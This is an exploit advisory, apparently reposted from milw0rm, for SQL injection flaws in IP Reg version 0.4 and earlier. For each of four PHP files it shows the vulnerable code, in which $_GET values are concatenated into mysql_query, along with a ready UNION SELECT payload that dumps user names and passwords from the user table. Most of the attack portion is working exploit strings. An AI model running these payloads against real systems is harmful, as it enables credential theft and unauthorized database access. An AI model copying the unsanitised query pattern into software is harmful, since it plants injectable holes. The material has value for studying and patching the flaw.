IP Reg <= 0.4 Multiple Remote SQL Injection Vulnerabilities

2008.10.21
Credit: JosS
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# IP Reg <= 0.4 Multiple Remote SQL Injection Vulnerabilities # url: http://sourceforge.net/projects/ipreg/ # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # # Greetz To: All Hackers and milw0rm website ------------------------- vuln file: /locationdel.php vuln code: 27: $location_id = $_GET['location_id']; xx: ... 42: $result = mysql_query("SELECT location_name FROM location WHERE location_id='$location_id'") or die(mysql_error()); PoC: /locationdel.php?location_id='[foo] Exploit: /locationdel.php?location_id='+union+all+select+concat(user_name,char(58),user_pass)+from+user/* ------------------------- vuln file: /vlanview.php vuln code: 27: $vlan_id = $_GET['vlan_id']; xx: ... 42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error ()); PoC: /vlanview.php?vlan_id='[foo] Exploit: /vlanview.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/* ------------------------- vuln file: /vlanedit.php vuln code: 27: $vlan_id = $_GET['vlan_id']; xx: ... 42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error ()); PoC: /vlanedit.php?vlan_id='[foo] Exploit: /vlanedit.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/* ------------------------- vuln file: /vlandel.php vuln code: 27: $vlan_id = $_GET['vlan_id']; xx: ... 42: $result = mysql_query("SELECT vlan_id, vlan_name, vlan_number FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error ()); PoC: /vlandel.php?vlan_id='[foo] Exploit: /vlandel.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

References:

http://xforce.iss.net/xforce/xfdb/45934
http://www.securityfocus.com/bid/31781
http://www.milw0rm.com/exploits/6765


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top